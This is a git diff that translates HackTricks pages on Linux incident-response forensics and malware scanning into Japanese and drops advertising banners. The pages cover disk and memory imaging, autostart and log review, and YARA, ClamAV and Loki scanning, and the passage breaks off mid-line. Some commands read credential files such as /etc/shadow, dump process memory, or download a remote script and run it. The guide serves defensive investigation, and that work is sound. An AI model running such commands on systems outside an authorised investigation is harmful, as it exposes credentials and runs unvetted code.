+システムをシャットダウンする方法は**2つ**あり、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**です。最初の方法では、**プロセスが通常通り終了し**、**ファイルシステム**が**同期される**ことを許可しますが、同時に**マルウェア**が**証拠を破壊する**可能性もあります。「プラグを抜く」アプローチは**情報の損失**を伴う可能性があります(メモリのイメージをすでに取得しているため、失われる情報はあまりありません)し、**マルウェアは何もできる機会がありません**。したがって、**マルウェアの存在を疑う**場合は、システムで**`sync`** **コマンド**を実行し、プラグを抜いてください。 -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### ディスクのイメージを取得する +**ケースに関連する何かにコンピュータを接続する前に**、情報を変更しないように**読み取り専用としてマウントされる**ことを確認することが重要です。 ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### ディスクイメージの事前分析 -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +データがこれ以上ないディスクイメージをイメージングする。 ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## 既知のマルウェアを検索 -
+### 修正されたシステムファイル -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linuxは、システムコンポーネントの整合性を確保するためのツールを提供しており、潜在的に問題のあるファイルを特定するために重要です。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +- **RedHatベースのシステム**: `rpm -Va`を使用して包括的なチェックを行います。 +- **Debianベースのシステム**: 初期検証には`dpkg --verify`を使用し、その後`debsums | grep -v "OK$"`(`apt-get install debsums`で`debsums`をインストールした後)を実行して問題を特定します。 -## Search for known Malware +### マルウェア/ルートキット検出ツール -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +マルウェアを見つけるのに役立つツールについて学ぶには、以下のページをお読みください: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## インストールされたプログラムを検索 -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +DebianおよびRedHatシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを併用することを検討してください。 -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Debianの場合、_**`/var/lib/dpkg/status`**_および_**`/var/log/dpkg.log`**_を確認してパッケージインストールに関する詳細を取得し、`grep`を使用して特定の情報をフィルタリングします。 +- RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm`を使用してインストールされたパッケージのリストを取得できます。 +これらのパッケージマネージャーの外部で手動でインストールされたソフトウェアを明らかにするために、_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、および_**`/sbin`**_のようなディレクトリを探索してください。ディレクトリリストとシステム固有のコマンドを組み合わせて、既知のパッケージに関連付けられていない実行可能ファイルを特定し、インストールされたすべてのプログラムの検索を強化します。 ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## 削除された実行中のバイナリを復元する -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +/tmp/exec から実行されたプロセスが削除されたと想像してください。それを抽出することが可能です。 ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## 自動起動場所の検査 -## Inspect Autostart locations - -### Scheduled Tasks - +### スケジュールされたタスク ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### サービス -### Services +マルウェアがサービスとしてインストールされる可能性のあるパス: -Paths where a malware could be installed as a service: +- **/etc/inittab**: rc.sysinitのような初期化スクリプトを呼び出し、さらにスタートアップスクリプトに指示します。 +- **/etc/rc.d/** と **/etc/rc.boot/**: サービスのスタートアップ用スクリプトを含み、後者は古いLinuxバージョンで見られます。 +- **/etc/init.d/**: Debianのような特定のLinuxバージョンでスタートアップスクリプトを保存するために使用されます。 +- サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** を介してもアクティブ化されることがあります。 +- **/etc/systemd/system**: システムおよびサービスマネージャースクリプト用のディレクトリ。 +- **/etc/systemd/system/multi-user.target.wants/**: マルチユーザーランレベルで起動すべきサービスへのリンクを含みます。 +- **/usr/local/etc/rc.d/**: カスタムまたはサードパーティのサービス用。 +- **\~/.config/autostart/**: ユーザー固有の自動スタートアプリケーション用で、ユーザーをターゲットにしたマルウェアの隠れ場所になる可能性があります。 +- **/lib/systemd/system/**: インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。 -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### カーネルモジュール -### Kernel Modules +Linuxカーネルモジュールは、マルウェアがルートキットコンポーネントとして利用することが多く、システムブート時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは以下の通りです: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: 実行中のカーネルバージョンのモジュールを保持します。 +- **/etc/modprobe.d**: モジュールのロードを制御するための設定ファイルを含みます。 +- **/etc/modprobe** と **/etc/modprobe.conf**: グローバルモジュール設定用のファイル。 -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### その他の自動スタート場所 -### Other Autostart Locations +Linuxは、ユーザーログイン時にプログラムを自動的に実行するためのさまざまなファイルを使用し、マルウェアを隠す可能性があります: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**、および **/etc/bash.bashrc**: すべてのユーザーログイン時に実行されます。 +- **\~/.bashrc**、**\~/.bash_profile**、**\~/.profile**、および **\~/.config/autostart**: ユーザー固有のファイルで、ログイン時に実行されます。 +- **/etc/rc.local**: すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。 -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## ログの調査 -## Examine Logs +Linuxシステムは、さまざまなログファイルを通じてユーザーの活動やシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、その他のセキュリティインシデントを特定するために重要です。主要なログファイルには以下が含まれます: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) または **/var/log/messages** (RedHat): システム全体のメッセージと活動をキャプチャします。 +- **/var/log/auth.log** (Debian) または **/var/log/secure** (RedHat): 認証試行、成功したログインと失敗したログインを記録します。 +- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。 +- **/var/log/boot.log**: システム起動メッセージを含みます。 +- **/var/log/maillog** または **/var/log/mail.log**: メールサーバーの活動をログに記録し、メール関連サービスの追跡に役立ちます。 +- **/var/log/kern.log**: カーネルメッセージを保存し、エラーや警告を含みます。 +- **/var/log/dmesg**: デバイスドライバーメッセージを保持します。 +- **/var/log/faillog**: 失敗したログイン試行を記録し、セキュリティ侵害の調査に役立ちます。 +- **/var/log/cron**: cronジョブの実行をログに記録します。 +- **/var/log/daemon.log**: バックグラウンドサービスの活動を追跡します。 +- **/var/log/btmp**: 失敗したログイン試行を文書化します。 +- **/var/log/httpd/**: Apache HTTPDのエラーログとアクセスログを含みます。 +- **/var/log/mysqld.log** または **/var/log/mysql.log**: MySQLデータベースの活動をログに記録します。 +- **/var/log/xferlog**: FTPファイル転送を記録します。 +- **/var/log/**: ここで予期しないログを常に確認してください。 > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは、悪意のある活動に関する最も有用な情報を含むことが一般的であるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候である可能性のあるギャップや順序が乱れたエントリを探すことが重要です。 -**Linux maintains a command history for each user**, stored in: +**Linuxは各ユーザーのコマンド履歴を保持します**。これは以下に保存されます: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知または予期しないログインがないか確認してください。 -Check files that can grant extra rprivileges: +追加の権限を付与できるファイルを確認してください: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers` を確認します。 +- 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers.d/` を確認します。 +- 異常なグループメンバーシップや権限を特定するために、`/etc/groups` を調査します。 +- 異常なグループメンバーシップや権限を特定するために、`/etc/passwd` を調査します。 -Some apps alse generates its own logs: +一部のアプリも独自のログを生成します: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: 不正なリモート接続のために _\~/.ssh/authorized_keys_ と _\~/.ssh/known_hosts_ を調査します。 +- **Gnome Desktop**: Gnomeアプリケーションを介して最近アクセスされたファイルのために _\~/.recently-used.xbel_ を確認します。 +- **Firefox/Chrome**: 疑わしい活動のために _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認します。 +- **VIM**: アクセスされたファイルパスや検索履歴などの使用詳細のために _\~/.viminfo_ を確認します。 +- **Open Office**: 侵害されたファイルを示す可能性のある最近の文書アクセスを確認します。 +- **FTP/SFTP**: 不正なファイル転送の可能性があるため、_ \~/.ftp_history_ または _\~/.sftp_history_ のログを確認します。 +- **MySQL**: 不正なデータベース活動を明らかにする可能性のある実行されたMySQLクエリのために _\~/.mysql_history_ を調査します。 +- **Less**: 表示されたファイルや実行されたコマンドを含む使用履歴のために _\~/.lesshst_ を分析します。 +- **Git**: リポジトリの変更のために _\~/.gitconfig_ とプロジェクトの _.git/logs_ を確認します。 -### USB Logs +### USBログ -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) は、Linuxのログファイル(ディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`)を解析してUSBイベント履歴テーブルを構築するために純粋なPython 3で書かれた小さなソフトウェアです。 -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +使用されたすべてのUSBを知ることは興味深く、許可されたUSBのリストがあれば「違反イベント」(そのリストに含まれていないUSBの使用)を見つけるのにより役立ちます。 +### インストール ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### 例 ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` - More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -
+## ユーザーアカウントとログオン活動のレビュー -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調べて、知られている不正なイベントに近い位置で作成または使用された異常な名前やアカウントを探します。また、sudoのブルートフォース攻撃の可能性も確認してください。\ +さらに、_**/etc/sudoers**_や_**/etc/groups**_のようなファイルをチェックして、ユーザーに与えられた予期しない特権を確認します。\ +最後に、**パスワードなし**または**簡単に推測できる**パスワードを持つアカウントを探します。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +## ファイルシステムの調査 -## Review User Accounts and Logon Activities +### マルウェア調査におけるファイルシステム構造の分析 -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. +マルウェアインシデントを調査する際、ファイルシステムの構造は重要な情報源であり、イベントの順序やマルウェアの内容を明らかにします。しかし、マルウェアの著者は、ファイルのタイムスタンプを変更したり、データストレージのためにファイルシステムを避けたりするなど、この分析を妨げる技術を開発しています。 -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +これらのアンチフォレンジック手法に対抗するためには、以下が重要です: +- **Autopsy**のようなツールを使用してイベントのタイムラインを視覚化する**徹底的なタイムライン分析を行う**か、詳細なタイムラインデータのために**Sleuth Kitの`mactime`**を使用します。 +- 攻撃者によって使用されるシェルやPHPスクリプトを含む可能性のある、システムの$PATH内の**予期しないスクリプトを調査する**。 +- **/dev**内の異常なファイルを**調査する**。通常は特別なファイルが含まれていますが、マルウェア関連のファイルが存在する可能性があります。 +- **隠しファイルやディレクトリを検索する**。名前が「.. 」(ドットドットスペース)や「..^G」(ドットドットコントロール-G)のようなものは、悪意のあるコンテンツを隠している可能性があります。 +- 攻撃者によって悪用される可能性のある、特権が昇格されたファイルを見つけるために、次のコマンドを使用して**setuid rootファイルを特定する**:`find / -user root -perm -04000 -print` +- ルートキットやトロイの木馬の存在を示す可能性がある、大量のファイル削除を示すために、inodeテーブル内の**削除タイムスタンプをレビューする**。 +- 1つの悪意のあるファイルを特定した後、近くにある悪意のあるファイルのために**連続したinodeを検査する**。これらは一緒に配置されている可能性があります。 +- マルウェアによって変更される可能性があるため、最近変更されたファイルのために**一般的なバイナリディレクトリ**(_/bin_、_/sbin_)をチェックします。 ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> 攻撃者は**ファイルを正当なものに見せるために** **時間**を**変更**することができますが、**inode**を**変更**することはできません。もし**ファイル**が同じフォルダ内の他のファイルと**同時に**作成および変更されたことを示しているが、**inode**が**予期せず大きい**場合、その**ファイルのタイムスタンプが変更された**ことになります。 -## Compare files of different filesystem versions +## 異なるファイルシステムバージョンの比較 -### Filesystem Version Comparison Summary +### ファイルシステムバージョン比較の概要 -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +ファイルシステムのバージョンを比較し、変更点を特定するために、簡略化された`git diff`コマンドを使用します: +- **新しいファイルを見つけるために**、2つのディレクトリを比較します: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **変更された内容**、特定の行を無視して変更をリストします: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **削除されたファイルを検出する**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **フィルターオプション** (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更に絞り込むのに役立ちます。 +- `A`: 追加されたファイル +- `C`: コピーされたファイル +- `D`: 削除されたファイル +- `M`: 変更されたファイル +- `R`: 名前が変更されたファイル +- `T`: タイプの変更 (例: ファイルからシンボリックリンク) +- `U`: マージされていないファイル +- `X`: 不明なファイル +- `B`: 壊れたファイル -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## 参考文献 - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **書籍: Linuxシステムのマルウェアフォレンジックフィールドガイド: デジタルフォレンジックフィールドガイド** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md index c7edd6650..8b193ee09 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# マルウェア分析 {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## フォレンジック チートシート [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## オンラインサービス - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## オフラインアンチウイルスおよび検出ツール ### Yara -#### Install - +#### インストール ```bash sudo apt-get install -y yara ``` +#### ルールの準備 -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +このスクリプトを使用して、GitHubからすべてのyaraマルウェアルールをダウンロードしてマージします: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ ディレクトリを作成し、実行します。これにより、すべてのマルウェア用yaraルールを含む _**malware_rules.yar**_ というファイルが作成されます。 ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### スキャン ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: マルウェアのチェックとルールの作成 -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +バイナリからyaraルールを生成するために、ツール[**YaraGen**](https://github.com/Neo23x0/yarGen)を使用できます。これらのチュートリアルをチェックしてください: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### インストール ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### スキャン ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** は、実行可能ファイル(PE、ELF、.NET)内の潜在的に悪意のある **機能** を検出します。したがって、Att\&ck 戦術や次のような疑わしい機能を見つけることができます: -- check for OutputDebugString error -- run as a service -- create process +- OutputDebugString エラーのチェック +- サービスとして実行 +- プロセスの作成 -Get it int he [**Github repo**](https://github.com/mandiant/capa). +[**Github リポジトリ**](https://github.com/mandiant/capa) から入手できます。 ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC は、Indicator Of Compromise の略です。IOC は、潜在的に望ましくないソフトウェアや確認された **マルウェア** を特定する **条件のセット** です。ブルーチームは、この種の定義を使用して、**システム** や **ネットワーク** 内のこの種の悪意のあるファイルを **検索** します。\ +これらの定義を共有することは非常に有用で、コンピュータ内でマルウェアが特定され、そのマルウェアの IOC が作成されると、他のブルーチームはそれを使用してマルウェアをより迅速に特定できます。 -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +IOC を作成または修正するためのツールは [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**です。**\ +[**Redline**](https://www.fireeye.com/services/freeware/redline.html) のようなツールを使用して、**デバイス内の定義された IOC を検索** できます。 ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) は、シンプルなコンプロマイズの指標をスキャンするツールです。\ +検出は、4つの検出方法に基づいています: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file 